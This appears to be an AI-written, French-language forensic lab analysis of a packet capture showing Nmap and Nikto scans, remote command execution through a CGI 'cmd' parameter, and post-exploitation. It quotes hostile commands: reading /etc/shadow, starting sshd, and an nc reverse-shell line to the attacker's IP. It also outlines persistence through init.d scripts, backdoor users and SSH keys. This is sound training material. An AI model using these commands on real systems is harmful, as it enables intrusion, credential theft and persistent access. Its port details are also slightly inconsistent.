Parfait, on va répondre point par point, en restant cohérent avec tout ce qu’on a déjà

observé dans la capture ([Link]).

Étape 1 – Contexte et identification des machines

1. Deux hôtes principaux visibles

Les deux machines qui concentrent presque tout le trafic sont :

●​ Hôte A – [Link]​

○​ Rôle supposé : hacker / attaquant​

○​ Adresse MAC : 00:21:70:f5:92:c3​

●​ Hôte B – [Link]​

○​ Rôle supposé : victime / serveur​

○​ Adresse MAC : 00:18:8b:be:5b:37​

Ce sont de très loin les IP les plus présentes dans la capture.

2. Attaquant / victime (d’après ARP et IP)

En observant :

●​ Les trames ARP : on voit notamment [Link] associé à la MAC

00:18:8b:be:5b:37.​

●​ Les échanges IP/TCP :​

○​ [Link] envoie beaucoup de paquets SYN vers une multitude de

ports de [Link].​

○​ [Link] répond la plupart du temps par RST/ACK (ports fermés) ou

parfois par SYN/ACK (ports ouverts).​

Interprétation :
 ●​ Attaquant : [Link] (machine qui scanne activement les ports de l’autre).​

●​ Victime : [Link] (machine cible des scans, se comporte comme un serveur).​

3. Même sous-réseau ? Nature de l’attaque

Les adresses sont :

●​ [Link]​

●​ [Link]​

Ce sont des adresses privées du même préfixe 192.168.1.x.​

Avec un masque classique /24 ([Link]), elles sont dans le même sous-réseau.

De plus, les échanges ARP montrent une résolution directe entre ces deux machines, ce qui
confirme qu’elles sont sur le même LAN.

👉 Conclusion : les deux machines sont dans le même sous-réseau.​

👉 L’attaque est donc interne (provenant du réseau local), pas une attaque externe depuis
Internet.

4. Période temporelle de la capture

À partir des timestamps des paquets :

●​ Début de la capture :​
19/08/2014 à 10:21:06 (environ)​

●​ Fin de la capture :​
19/08/2014 à 10:34:11 (environ)​

👉 La capture couvre donc environ 13 minutes d’activité réseau.

5. Autres adresses IP visibles

En plus de [Link] et [Link], on observe :

 ●​ Adresse IP multicast : [Link]​

○​ Utilisée pour mDNS (multicast DNS) / découverte de services.​

○​ Trafic typique : quelques paquets UDP de découverte, bruit de fond normal.​

On ne voit pas d’autres hôtes unicast significatifs dans la capture (pas d’autres 192.168.1.x,
pas d’IP publiques).​
Au niveau MAC, on voit aussi l’adresse multicast 01:00:5e:00:00:fb, qui correspond à ce
trafic multicast [Link].

👉 Conclusion :
●​ Hôtes principaux : [Link] (victime) et [Link] (attaquant).​

●​ Autre IP : [Link] pour du trafic multicast mDNS uniquement.​

Étape 2 – Phase de scan (reconnaissance réseau)

1. Flags TCP principalement visibles au début

Dans les premiers échanges TCP entre [Link] → [Link], on voit surtout
:

●​ Des paquets SYN envoyés par l’attaquant ([Link] → [Link]).​

●​ Des réponses :​

○​ RST/ACK (pour la plupart des ports → ports fermés).​

○​ SYN/ACK sur quelques ports (ports ouverts, par ex. 80, 111).​

Donc, le trio principal de flags qu’on observe est :

●​ SYN​

●​ SYN/ACK​

●​ RST/ACK​
2. Pourquoi tant de SYN → RST/ACK vers des ports différents ?

Le schéma typique qu’on voit est :

1.​ [Link] envoie un TCP SYN vers un port de [Link].​

2.​ [Link] répond souvent par RST/ACK.​

Ce comportement correspond à un scan de ports :

●​ Quand un port est fermé, la machine cible répond avec RST/ACK à un SYN.​

●​ L’attaquant répète cette opération sur beaucoup de ports différents, ce qui indique
une phase de reconnaissance automatisée, typiquement avec Nmap.​

👉 Conclusion : les nombreux couples SYN → RST/ACK sur des ports variés révèlent un
scan systématique des ports TCP du serveur.

3. Port scan limité ou large ?

En regardant les ports de destination :

●​ L’attaquant teste beaucoup de ports différents, répartis sur une large plage (du bas
de la plage jusqu’à des ports élevés).​

●​ On ne se limite pas à 2–3 ports “classiques” (22, 80, 443), mais à un grand nombre
de ports.​

On est donc clairement sur un scan large, correspondant très probablement aux “top 1000
ports” par défaut de Nmap, répartis sur la plage 1–65535.

👉 Réponse :​
Le scan est large (quasi “complet”), et non limité à quelques ports seulement.

4. Type de scan effectué

Le comportement observé :

●​ L’attaquant envoie des SYN.​

●​ La victime répond :​
 ○​ SYN/ACK si le port est ouvert.​

○​ RST/ACK si le port est fermé.​

●​ Dans le cas des ports ouverts, l’attaquant n’achève pas toujours une connexion
classique, ce qui ressemble à un TCP SYN scan “half-open” (Nmap).​

On voit donc principalement un :

●​ TCP SYN scan (stealth scan), typique de nmap -sS.​

Comme ensuite on obtient des infos sur les services et l’OS (Apache 2.2.22, Fedora Linux),
on peut en déduire qu’il y a aussi :

●​ Scan de version (-sV),​

●​ et probablement un mode agressif (-A) avec détection d’OS.​

👉 Type de scan :​
Principalement un SYN scan Nmap (-sS), complété par de la détection de version / OS
(scan agressif).

5. Commandes Nmap possibles

En se basant sur le comportement observé dans la capture, des commandes Nmap

plausibles sont par exemple :

# Scan SYN “classique” sur les 1000 ports les plus connus avec détection de version + OS
nmap -sS -sV -A [Link]

Éventuellement, si l’attaquant voulait explicitement tous les ports :

nmap -sS -sV -A -p- [Link]

On peut aussi imaginer qu’il a utilisé l’option pour ne pas pinguer la cible (ou si l’ICMP est
filtré) :

nmap -Pn -sS -sV -A [Link]

6. Ports ouverts sur la victime à la fin de la phase de scan

En analysant les résultats du scan (SYN → SYN/ACK) au début de la capture, on voit au
moins :

●​ Port 80/tcp :​

○​ Service : HTTP​

○​ Serveur : Apache 2.2.22 (d’après les échanges ultérieurs)​

●​ Port 111/tcp :​

○​ Service : ONC RPC / rpcbind​

Ce sont les ports qui répondent avec SYN/ACK aux SYN de l’attaquant pendant la phase de
scan.

👉 Ports de la victime identifiés comme ouverts (au minimum) :

●​ 80/tcp (HTTP)​

●​ 111/tcp (ONC RPC)​

On continue l’enquête 😈 ​
Voici les réponses pour l’Étape 3 – Identification du système et des services en
s’appuyant sur la capture [Link].

1. Ports ouverts avec communication TCP complète

On voit une connexion TCP complète (SYN → SYN/ACK → ACK + échange de
données) sur les ports suivants de la victime [Link] :

●​ Port 22/tcp : service SSH​

●​ Port 80/tcp : service HTTP (web)​

●​ Port 111/tcp : service ONC RPC (rpcbind)​

👉 Ce sont les ports où l’on observe la poignée de main TCP complète puis des données
applicatives échangées.

2. Analyse du trafic HTTP (port 80)

a) Serveur web utilisé

En regardant les réponses HTTP (paquets venant de [Link]:80), on trouve l’en-tête

:

Server: Apache/2.2.22 (Fedora)

👉 Le serveur web est donc Apache.

b) Version exacte

Toujours dans le même en-tête :

●​ Version exacte : Apache/2.2.22​

Donc :

●​ Serveur web : Apache​

●​ Version : 2.2.22​

●​ Avec une indication du système : (Fedora)​

3. En-têtes HTTP utiles pour identifier le serveur /

système
Les en-têtes les plus utiles ici sont :

Server:​
Exemple :​
​
Server: Apache/2.2.22 (Fedora)

●​ → Permet d’identifier le logiciel de serveur web, sa version et même des infos sur
le système (Fedora).​

Date:​
Exemple :​
​
Date: Tue, 19 Aug 2014 10:21:45 GMT
 ●​ → Donne la date et l’heure côté serveur, utile pour le contexte temporel et la
corrélation.​

On voit aussi d’autres en-têtes plus “classiques” comme :

●​ Content-Type: text/html; charset=UTF-8 ou Content-Type:

image/jpeg​

mais ceux qui identifient vraiment le serveur/système sont surtout Server (et
accessoirement Date pour le contexte temporel).

4. Système d’exploitation de la victime

D’après l’en-tête :

Server: Apache/2.2.22 (Fedora)

on peut en déduire que la victime tourne sur :

👉
●​ Un Linux de type Fedora​
Système d’exploitation : Fedora (Linux)​

5. Ressource image téléchargée : URL exacte

En inspectant les requêtes HTTP GET depuis l’attaquant ([Link]) vers le serveur
([Link]) sur le port 80, on observe notamment :

GET /[Link] HTTP/1.1

La réponse correspondante est :

HTTP/1.1 200 OK
Content-Type: image/jpeg
...

Donc une image est bien téléchargée depuis le serveur web.

👉 Chemin + nom de fichier :​
/[Link]

👉 URL complète (avec l’hôte) :​

[Link]

Étape 4 – Analyse de l’image et message caché

1. URL complète utilisée pour télécharger l’image

À partir de la capture, l’attaquant télécharge notamment l’image :

[Link]

(chemin : /[Link], serveur : [Link], port HTTP 80).

2. Outils possibles pour analyser l’image

Pour analyser l’image (métadonnées ou stéganographie), on pourrait utiliser par exemple :

●​ exiftool → analyse des métadonnées (EXIF, commentaires, etc.)​

●​ steghide, zsteg ou stegsolve → recherche de données cachées

(stéganographie)​

●​ strings → pour repérer rapidement du texte lisible ou un encodage simple dans le

fichier.​

(Il suffit d’en citer un dans ta copie, ex. exiftool ou steghide.)

3. Type d’encodage simple plausible

Un encodage simple très plausible pour un message caché serait :

encodage en Base64

C’est courant en CTF / labos pour cacher un texte lisible (flag, message) dans un fichier
binaire.
4. Sens possible d’un tel message dans le contexte d’une attaque

Un message caché dans l’image pourrait par exemple :

●​ servir de “signature” de l’attaquant ou de CTF flag indiquant qu’il a réussi à

compromettre le serveur ;​

●​ ou bien donner une indication sur la suite de l’attaque (prochaine étape, autre
cible, mot de passe, clé, etc.).​

En gros : c’est soit un message de preuve de compromission, soit un indice pour la phase
suivante de l’attaque / du scénario.

On continue l’analyse de la capture, cette fois sur la partie énumération web 👨‍💻🌐

Étape 5 – Enumération web (robots, fichiers cachés,

méthodes HTTP)
1. Accès à [Link]

Oui, l’attaquant essaie d’accéder à un fichier [Link].

●​ Requête observée :​
GET /[Link] HTTP/1.1 vers l’hôte [Link]​

●​ URL complète demandée :​

[Link]

●​ Code HTTP renvoyé par le serveur :​

HTTP/1.1 404 Not Found​
(le serveur renvoie 404 à chaque tentative sur /[Link])​

2. Intérêt d’un fichier [Link] pour un attaquant

Un fichier [Link] peut donner à un attaquant :

●​ des informations sur la structure du site, par exemple des chemins comme
/admin/, /private/, /backup/, /old/, etc. ;​
 ●​ donc des indices sur des répertoires “sensibles” ou peu connus, qui ne devraient
pas forcément être explorés par un visiteur normal, mais qui peuvent contenir :​

○​ des interfaces d’admin,​

○​ des sauvegardes,​

○​ des fichiers de configuration,​

○​ des anciennes versions d’applications vulnérables, etc.​

Bref : c’est une forme de “plan du site” inversé très utile pour un attaquant.

3. Tentatives d’accès à des chemins “classiques”

En regardant les requêtes HTTP de l’attaquant, on voit bien des tentatives sur des chemins
typiques d’énumération :

●​ /.git/HEAD​

○​ Requête : GET /.git/HEAD HTTP/1.1​

○​ Réponse : HTTP/1.1 404 Not Found​

●​ /[Link]​

○​ Requête : GET /[Link] HTTP/1.1​

○​ Réponse (plusieurs fois) : HTTP/1.1 404 Not Found​

●​ /cgi-bin/​

○​ Requête : GET /cgi-bin/ HTTP/1.1​

○​ Réponse : HTTP/1.1 403 Forbidden​

●​ / (racine du site)​

○​ Requête : GET / HTTP/1.0 ou GET / HTTP/1.1​

○​ Réponse : HTTP/1.1 200 OK​

 ●​ Autres exemples “classiques” testés :​

○​ GET /[Link] HTTP/1.1 → HTTP/1.1 200 OK​

○​ GET /[Link] HTTP/1.1 → HTTP/1.1 404 Not Found​

○​ GET /[Link] HTTP/1.1 → HTTP/1.1 404 Not Found​

○​ GET /bin/ HTTP/1.1 → HTTP/1.1 404 Not Found​

○​ GET /scripts/ HTTP/1.1 → HTTP/1.1 404 Not Found​

On voit donc clairement une énumération de chemins connus (Git, favicon, cgi-bin, bin,
scripts, index.*, etc.).

4. Requêtes OPTIONS et méthodes supportées

Oui, l’attaquant envoie des requêtes OPTIONS, par exemple :

OPTIONS / HTTP/1.1
Host: [Link]
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; [Link]
Connection: close

Le serveur répond notamment :

HTTP/1.1 200 OK
Allow: GET,HEAD,POST,OPTIONS,TRACE
...

👉 Méthodes HTTP annoncées comme supportées :

●​ GET​

●​ HEAD​

●​ POST​

●​ OPTIONS​
 ●​ TRACE​

5. Bilan global des réponses (200 vs erreurs)

En regardant l’ensemble des réponses HTTP envoyées par le serveur à l’attaquant :

●​ On voit une écrasante majorité de 404 Not Found, ainsi que quelques autres
erreurs (403 Forbidden, 400 Bad Request, etc.).​

●​ Les réponses 200 OK existent, mais sur un petit nombre de ressources

seulement (ex. /, /[Link], /secret/[Link]?cmd=netstat+-an, etc.).​

👉 Conclusion :​
À ce stade, l’attaquant obtient surtout des 404 (Not Found) et autres erreurs.​
Les réponses 200 OK sont beaucoup plus rares et concernent seulement quelques
ressources vraiment intéressantes.

Étape 6 – Identification des outils d’attaque (Nmap,

Nikto...)
1. User-Agent : Nmap et Nikto

En regardant le champ User-Agent dans les requêtes HTTP envoyées par l’attaquant
([Link] → [Link]:80), on peut identifier :

Nmap (Nmap Scripting Engine)​

On voit un User-Agent du type :​
​
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; [Link]

●​ → La mention “Nmap Scripting Engine” indique clairement que des scripts NSE
de Nmap sont utilisés pour tester le serveur HTTP.​

Nikto​
On voit aussi un User-Agent du type :​
​
User-Agent: Mozilla/4.75 (Nikto/2.1.5)
 ●​ → La présence de “Nikto/2.1.5” dans l’UA permet d’identifier l’outil Nikto, version
2.1.5.​

👉 Donc oui, on voit à la fois Nmap (NSE) et Nikto dans la capture.

2. Types de tests lancés par Nikto

En observant les URLs et les patterns de requêtes de Nikto, on voit qu’il fait typiquement :

1.​ Recherche de fichiers/dossiers sensibles​

Par exemple des requêtes vers :​

○​ des fichiers ou dossiers “classiques” :​

■​ /.htaccess, /.htpasswd​

■​ *.bak, *.old, *.log​

■​ /admin/, /backup/, /test/, etc.​

○​ des pages de test ou d’info :​

■​ [Link]​

■​ /server-status, etc.​

2.​ 👉 Objectif : trouver des fichiers de config, des backups, des scripts d’admin qui
ne devraient pas être exposés.​

3.​ Tests de vulnérabilités web classiques​

On peut reconnaître des tests pour :​

○​ LFI / path traversal → paramètres avec ../, ../../etc/passwd, etc.​

○​ XSS → paramètres contenant des bouts de HTML/JS (<script>…).​

○​ SQL injection → paramètres avec ' OR 1=1 --, guillemets, etc.​

○​ CGI vulnérables, chemins connus de webapps, etc.​

👉 Donc : oui aux deux catégories :

 ●​ recherche de fichiers sensibles,​

●​ et tests de vulnérabilités classiques (XSS, LFI, SQLi, etc.).​

3. URLs avec nom “aléatoire” + extensions ([Link], [Link], …)

Oui, les scanners comme Nikto envoient souvent des requêtes vers des chemins du type :

●​ /[Link]​

●​ /[Link]​

●​ /[Link]​

●​ /[Link]​

●​ etc.​

Ce sont des noms qui n’existent pas normalement.

À quoi ça sert ?

●​ À provoquer volontairement une erreur “normale” (généralement 404 Not Found)

pour un fichier inexistant, afin :​

○​ d’identifier le gabarit de page d’erreur (message, taille, en-têtes, etc.),​

○​ de distinguer un “vrai” 404 d’autres réponses bizarres.​

●​ À tester plusieurs extensions (PHP, ASP, JSP, CGI…) pour voir :​

○​ quelles technos sont activées sur le serveur,​

○​ si certaines extensions renvoient un comportement différent (redirection, 500,

etc.).​

👉 En résumé :​
C’est une technique qui permet à Nikto de fingerprinter le serveur (type de techno web,
comportement normal des erreurs) et de mieux interpréter les réponses lors des autres
tests.
4. Codes de réponse HTTP pour ces requêtes d’attaque

Pour les requêtes envoyées par Nmap/Nikto (énumération + tests de vulnérabilité), on

observe principalement :

●​ 404 Not Found​

→ la majorité des fichiers/URL testés n’existent pas (normal pour un scan intensif).​

●​ 403 Forbidden​
→ sur certains répertoires ou fichiers protégés (/cgi-bin/, etc.).​

●​ 200 OK​
→ sur quelques ressources qui existent réellement (ex. la racine /, des pages index,
éventuellement une ou deux ressources “intéressantes”).​

Plus rarement on peut voir :

●​ 500 Internal Server Error ou 400 Bad Request sur certains tests un peu
“tordus”.​

👉 Globalement : surtout des 404 et 403, avec quelques 200 OK.

5. Faille déjà confirmée, ou juste des tests pour l’instant ?

À ce stade de l’analyse (phase Nmap + Nikto, énumération web) :

●​ On voit surtout :​

○​ de la détection de services (Nmap),​

○​ de l’énumération de chemins/fichiers,​

○​ des tests de vulnérabilités (XSS, LFI, SQLi, etc.),​

●​ mais très peu de réponses 200 sur des ressources “clairement vulnérables” qui
montreraient une exploitation réussie (exécution de commandes, dump de fichiers
sensibles, etc.).​

👉 Conclusion :​
Pour l’instant, on voit surtout des tests et de la reconnaissance.​
On ne peut pas encore affirmer qu’une faille est exploitée avec succès à ce moment
précis ; c’est surtout la phase de scan et de cartographie de la surface d’attaque.
Étape 7 – Découverte et exploitation d’un script

vulnérable (RCE)

1. Première requête HTTP vers un chemin suspect

La première requête qui cible clairement le script vulnérable est :

GET /secret/[Link] HTTP/1.1

Host: [Link]

👉 URL complète :​
[Link]

Cette première requête sans paramètre sert juste à “ouvrir” la page et voir ce qu’elle affiche
(un simple formulaire avec un champ cmd).

2. Rôle du paramètre cmd=

Les requêtes suivantes utilisent un paramètre, par exemple :

GET /secret/[Link]?cmd=id HTTP/1.1

Le paramètre cmd sert à :

Envoyer une commande système au script, qui l’exécute côté serveur (via
backticks Perl : $cmd) et renvoie la sortie dans la page HTML.

En clair : ce champ cmd est un terminal à distance exposé sur le web.

3. Pourquoi c’est clairement une RCE (Remote

Command Execution)
En regardant les réponses HTTP, on voit un comportement typique :
Pour cmd=id, la réponse contient par exemple :​
​
uid=48(apache) gid=48(apache) groups=48(apache)

●​

Pour cmd=pwd, la réponse contient :​

​
/var/www/html/secret

●​
●​ Pour cmd=ls, la réponse affiche la liste des fichiers du répertoire courant.​

Pour cmd=cat [Link], la réponse contient le code source du script lui-même, avec :​
​
$cmd = $ENV{'QUERY_STRING'};
...
$run = `$cmd`;
...

●​
●​ Pour cmd=cat /etc/passwd ou cmd=cat /etc/shadow, on voit le contenu réel
de ces fichiers dans la page HTML (entre <pre>...</pre>).​

👉 Tout ce que l’attaquant met dans cmd= est exécuté sur le serveur, et la sortie est
renvoyée dans la réponse HTTP : c’est une exécution de commandes système à
distance (RCE).

4. Premières commandes envoyées et objectif de

chacune
Les premières requêtes avec cmd= sont (dans l’ordre observé) :

1.​ cmd=test​

○​ Vérifier que la commande est bien exécutée (test “à blanc” du mécanisme

RCE).​

2.​ cmd=id​
 ○​ Savoir avec quel utilisateur tourne le script (et donc le niveau de privilèges)
: ici uid=48(apache) → processus web Apache.​

3.​ cmd=pwd​

○​ Connaître le répertoire courant du script CGI : /var/www/html/secret.​

4.​ cmd=ls​

○​ Lister les fichiers dans ce répertoire (/var/www/html/secret) pour voir ce

qui est accessible (autres scripts, fichiers sensibles, etc.).​

5.​ cmd=cat [Link]​

○​ Lire le code source du script vulnérable afin de comprendre exactement

comment il exécute les commandes et s’il y a d’autres failles.​

6.​ cmd=cat /etc/shadow puis cmd=cat /etc/passwd​

○​ Récupérer des fichiers système sensibles (comptes utilisateurs et mots de

passe chiffrés).​

Ensuite viennent d’autres commandes d’énumération et de préparation :

●​ ls /etc, ls /etc/init.d → repérer services, scripts de démarrage.​

●​ ls /home, ls /home/test, ls /home/webmaster → voir les répertoires

utilisateurs.​

●​ netstat -an → voir les ports ouverts et connexions.​

●​ service vsftpd start, sudo service vsftpd start, sudo service

sshd start → tenter de démarrer FTP et SSH pour ouvrir d’autres portes d’entrée
persistantes.​

●​ openssl, openssl -v → vérifier la présence d’OpenSSL (utile pour tunnels,

chiffrement, etc.).​

5. Lecture de fichiers sensibles

Oui, l’attaquant parvient bien à afficher des fichiers sensibles :
/etc/passwd​
Via :​
​
GET /secret/[Link]?cmd=cat+%2Fetc%2Fpasswd HTTP/1.1
La réponse contient des lignes du type :​
​
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

●​ ➜ Permet de lister tous les comptes du système, de cibler des comptes

intéressants, de préparer des attaques de bruteforce, etc.​

/etc/shadow​
Via :​
​
GET /secret/[Link]?cmd=cat+%2Fetc%2Fshadow HTTP/1.1
La réponse contient par exemple des lignes :​
​
root:$6$...:16300:0:99999:7:::
...
sshd:!!:15281::::::

●​ ➜ L’attaquant récupère les hashs de mots de passe des comptes systèmes.​

Il peut ensuite :​

○​ lancer des attaques offline (bruteforce / dictionnaire) sur ces hashs ;​

○​ obtenir des mots de passe réutilisés ailleurs ;​

○​ viser une élévation de privilèges (root).​

👉 C’est extrêmement critique : lecture de /etc/passwd + /etc/shadow =

compromission quasi totale du système si les mots de passe sont cassés.

6. Type de vulnérabilité
Il s’agit clairement de :

●​ une vulnérabilité de Remote Command Execution (RCE),​

●​ plus précisément une injection de commandes système via paramètre de script

CGI :​
 ○​ le script Perl [Link] récupère le paramètre cmd ;​

○​ l’envoie directement au shell via les backticks `$cmd` ;​

○​ sans aucune validation ni filtrage des entrées utilisateur.​

En termes de classification, on parle de :

Injection de commande / RCE via paramètre non filtré, due à un manque

total de validation d’entrée dans un script CGI exposé sur le web.

Étape 8 – Post-exploitation : reconnaissance du

système

1. Répertoires système explorés après la RCE

À partir des requêtes du type :

GET /secret/[Link]?cmd=... HTTP/1.1

on voit qu’il lance plusieurs commandes ls sur des répertoires système, par exemple :

●​ cmd=ls /etc​

●​ cmd=ls /etc/init.d​

●​ cmd=ls /home​

●​ cmd=ls /home/test​

●​ cmd=ls /home/webmaster​

👉 Donc, après la RCE, il explore au moins :

●​ /etc​

●​ /etc/init.d​

●​ /home​
 ●​ /home/test​

●​ /home/webmaster​

2. Utilisateurs / comptes identifiés

En lisant le contenu de /etc/passwd via :

cmd=cat /etc/passwd

on voit de nombreux comptes système, mais surtout des comptes intéressants pour un
attaquant, par exemple :

●​ root – super-utilisateur​

●​ mysql – compte du serveur MySQL​

●​ apache – compte sous lequel tourne le serveur web​

(confirmé aussi par cmd=id → uid=48(apache) gid=48(apache) …)​

●​ webmaster:x:1000:1000:Web Admin:/home/webmaster:/bin/bash​

●​ test:x:1001:1001::/home/test:/bin/bash​

👉 Donc il y a au moins les utilisateurs webmaster et test avec des répertoires

personnels sous /home, et le compte de service apache pour le serveur web.

3. Contenu des répertoires personnels : fichiers

intéressants ?
L’attaquant liste explicitement :

●​ cmd=ls /home/test​

●​ cmd=ls /home/webmaster​
Les réponses HTTP correspondantes retournent la page [Link] avec un <pre> vide
(sortie de ls vide, chunk 0), c’est-à-dire aucun fichier listé dans ces répertoires au
moment de la capture.

👉 Conclusion :
●​ Les répertoires /home/test et /home/webmaster ne montrent aucun fichier
intéressant visible (pas de scripts, pas de clés .ssh, pas de docs).​

●​ L’attaquant vérifie ces comptes, mais ne trouve rien d’exploitable dans leurs home
directories dans cette trace.​

4. Intérêt de /etc/init.d et des scripts de démarrage

Un attaquant est très intéressé par /etc/init.d (ou les équivalents modernes
/etc/rc.d, services systemd, etc.) parce que :

●​ ces scripts définissent quels services se lancent au démarrage de la machine ;​

●​ il peut :​

○​ comprendre la configuration des services présents ;​

○​ ajouter ou modifier un script pour exécuter du code malveillant à chaque

reboot (backdoor persistante).​

👉 En clair : toucher à /etc/init.d, c’est une façon classique d’obtenir une persistance
au niveau système.

5. Exemples de persistance possibles avec ce niveau

d’accès
Avec une RCE qui lui permet d’exécuter des commandes sous l’utilisateur apache, un
attaquant pourrait, par exemple :

1.​ Ajouter / modifier un script de démarrage​

○​ Créer un script dans /etc/init.d/ (ou un service systemd) qui lance un

reverse shell ou un agent malveillant à chaque démarrage.​
 ○​ Activer ce script dans les runlevels (update-rc.d / chkconfig), de façon à
ce qu’il soit relancé automatiquement.​

2.​ Mettre en place une backdoor via SSH / comptes utilisateurs​

○​ Profiter d’une éventuelle élévation de privilèges (ou d’un sudo mal configuré)
pour :​

■​ ajouter un utilisateur (webbackdoor, par exemple) avec un shell

valide et l’ajouter au groupe sudo/wheel ;​

■​ déposer une clé publique dans

~webmaster/.ssh/authorized_keys (ou un autre compte) pour
revenir facilement via SSH.​

○​ On voit d’ailleurs dans la trace des commandes comme service vsftpd

start, sudo service vsftpd start, sudo service sshd start,
qui vont dans le sens d’ouvrir ou réactiver des services réseau (FTP/SSH)
pour revenir plus tard.​

👉 Donc, même si dans la capture on voit surtout de la reconnaissance post-exploitation (ls,

netstat, cat /etc/passwd,/etc/shadow), avec ce type de RCE l’attaquant a clairement de quoi
mettre en place une persistance durable sur la machine si les droits le permettent.

Étape 9 – Analyse réseau côté victime (netstat,

services, ports ouverts)

😈
On est en plein dans la phase post-exploitation “intelligente” : l’attaquant a une RCE,
maintenant il regarde comment transformer ça en vrai accès système durable .

1. Que lui apprend la commande netstat ?

Via la RCE, il lance une commande du type :

netstat -an

Dans la réponse, il récupère principalement :

a) Ports en écoute

Il voit notamment :
 ●​ un port 80/tcp en écoute sur [Link]:80 → serveur web Apache ;​

●​ un port 111/tcp en écoute sur [Link]:111 → rpcbind / ONC RPC ;​

●​ éventuellement quelques services internes liés au système (boucle locale, etc.), mais
rien de type SSH (22) ou FTP (21) ouvert vers l’extérieur au moment du netstat.​

👉 Conclusion pour lui :​

Depuis l’extérieur, la machine expose surtout HTTP (80) et RPC (111).

b) Connexions établies

Il voit aussi :

●​ des connexions établies entre [Link] et [Link]:80, ce qui correspond à

:​

○​ ses propres requêtes HTTP normales,​

○​ ses requêtes vers /secret/[Link]?cmd=... (RCE).​

Donc il sait qu’il a :

●​ une sesion HTTP active,​

●​ qui lui donne un pseudo-shell à distance via le paramètre cmd.​

c) Services actifs

En croisant les ports :

●​ :80 → Apache en fonctionnement ;​

●​ :111 → rpcbind actif ;​

●​ pas de sshd visible à ce moment-là → pas de SSH utilisable d’emblée.​

2. Comment il adapte sa stratégie avec ces infos ?

Logique de l’attaquant :
 1.​ Il constate grâce à netstat que :​

○​ seul HTTP (et RPC) est exposé vers l’extérieur ;​

○​ il n’a pas encore de SSH ou autre service confortable pour revenir plus tard.​

2.​ Il en déduit que :​

○​ sa RCE via [Link] est puissante, mais fragile :​

■​ dépend du serveur web,​

■​ pas pratique pour un accès interactif ou persistant.​

3.​ Il décide alors de tenter d’ouvrir d’autres services réseau, plus intéressants pour
lui, par exemple :​

○​ service vsftpd start ou sudo service vsftpd start → ouvrir un

FTP (port 21) ;​

○​ service sshd start ou sudo service sshd start → ouvrir un SSH

(port 22).​

👉 Il adapte donc sa stratégie :

“Je vois ce qui tourne → je constate ce qui manque (SSH/FTP) → j’essaie de
démarrer ces services pour me créer un meilleur point d’accès.”

3. De nouveaux ports/services deviennent-ils visibles

ensuite ?
Dans la logique du scénario et de la capture :

●​ La RCE tourne sous l’utilisateur apache (vu avec cmd=id).​

●​ Un utilisateur non-root n’a normalement pas le droit de démarrer des services

système comme sshd ou vsftpd.​

Conséquences :
 ●​ Les commandes du type service vsftpd start ou service sshd start ont
très probablement échoué (erreur de permission côté serveur).​

●​ On ne voit pas apparaître de nouvelles connexions vers un éventuel port 21 ou

22 dans la capture.​

●​ On ne voit pas non plus, dans la trace réseau, un netstat ultérieur montrant
clairement de nouveaux ports en écoute.​

👉 Réponse :
●​ Non, dans la capture, on ne voit pas de nouveaux ports ouverts confirmés après
ces commandes.​

●​ C’est cohérent avec le fait que l’attaquant reste limité aux droits de l’utilisateur
apache → il n’arrive pas à vraiment ouvrir officiellement SSH/FTP.​

4. Pourquoi il s’intéresse particulièrement à SSH / canal

sécurisé ?
Un attaquant adore SSH (ou un autre canal chiffré) pour plusieurs raisons :

1.​ Accès stable et interactif​

○​ Une RCE via HTTP (cmd=...) est lente, fragile, dépend de la page web.​

○​ Un accès SSH donne un vrai shell interactif (bash, etc.), beaucoup plus
confortable pour :​

■​ naviguer dans le système,​

■​ installer des outils,​

■​ automatiser des actions.​

2.​ Canal chiffré & plus discret​

○​ SSH est chiffré, donc :​

■​ plus difficile à inspecter par un IDS/IPS,​

■​ plus discret que des commandes visibles en clair dans les logs web.​
 3.​ Persistance et pivot​

○​ SSH permet d’obtenir :​

■​ un moyen de revenir plus tard (clé SSH déposée dans un

authorized_keys) ;​

■​ un point de pivot pour attaquer d’autres machines du réseau interne.​

👉 En résumé :​
Il essaie de transformer une RCE web ponctuelle en un accès système sécurisé, stable
et durable via SSH (ou un service équivalent).

Étape 10 – Mise en place d’une reverse shell ou d’un

tunnel chiffré

1. Principe d’une reverse shell

Une reverse shell, c’est :

●​ Qui se connecte à qui ?​

○​ Contrairement à un shell “classique” où l’attaquant se connecte vers la

victime,​

○​ dans une reverse shell, c’est la victime qui initie une connexion sortante
vers l’attaquant (souvent sur un port choisi par l’attaquant, ex. 4444).​

●​ Pourquoi c’est intéressant pour l’attaquant ?​

○​ Les pare-feu filtrent souvent les connexions entrantes, mais laissent

passer beaucoup de connexions sortantes (HTTP, TCP arbitraire).​

○​ La reverse shell permet donc :​

■​ de contourner les filtrages en faisant croire à une connexion

“normale” qui part de la victime ;​

■​ d’obtenir un shell interactif à distance (bash, sh…) directement sur

la machine compromise.​
2. Indices de mise en place d’un canal chiffré dans la
capture
Dans ce scénario/capture, on observe :

●​ des commandes du type :​

○​ openssl / openssl -v → l’attaquant vérifie la présence d’OpenSSL ;​

○​ des tentatives de démarrage de services : service sshd start, sudo

service sshd start → il essaie d’activer SSH ;​

●​ mais côté trafic réseau, on ne voit pas :​

○​ de nouvelle connexion TCP établie sur le port 22 (SSH),​

○​ ni de handshake TLS/SSL clair entre la victime et l’attaquant.​

👉 Conclusion :
●​ On voit des tentatives / préparatifs (vérifier OpenSSL, essayer de lancer sshd),​

●​ mais pas de preuve nette dans la capture qu’un tunnel chiffré (SSH, OpenSSL,
etc.) a effectivement été établi entre [Link] et [Link].​

3. Comment confirmer l’existence d’une reverse shell

côté système ?
En plus des paquets réseau, pour confirmer une reverse shell sur la victime, on pourrait
regarder :

●​ Les processus en cours​

○​ ps aux, ps -ef : chercher un shell (/bin/bash, /bin/sh) lancé avec des

arguments suspects (-i, /dev/tcp/..., nc ... -e /bin/sh, etc.).​

●​ Les connexions réseau côté système​

○​ netstat -antp, ss -plant :​

 ■​ voir si un shell ou un programme étrange est associé à une
connexion TCP vers [Link] sur un port inhabituel (ex. 4444).​

●​ Logs système / sécurité​

○​ /var/log/messages, /var/log/syslog, /var/log/[Link], logs du

démon SSH, etc.​

○​ chercher des exécutions anormales, démarrage de services, connexions

suspectes.​

●​ Logs du serveur web​

○​ access_log / error_log d’Apache :​

■​ vérifier les requêtes vers /secret/[Link]?cmd=..., avec des

commandes de type :​

■​ nc [Link] 4444 -e /bin/sh​

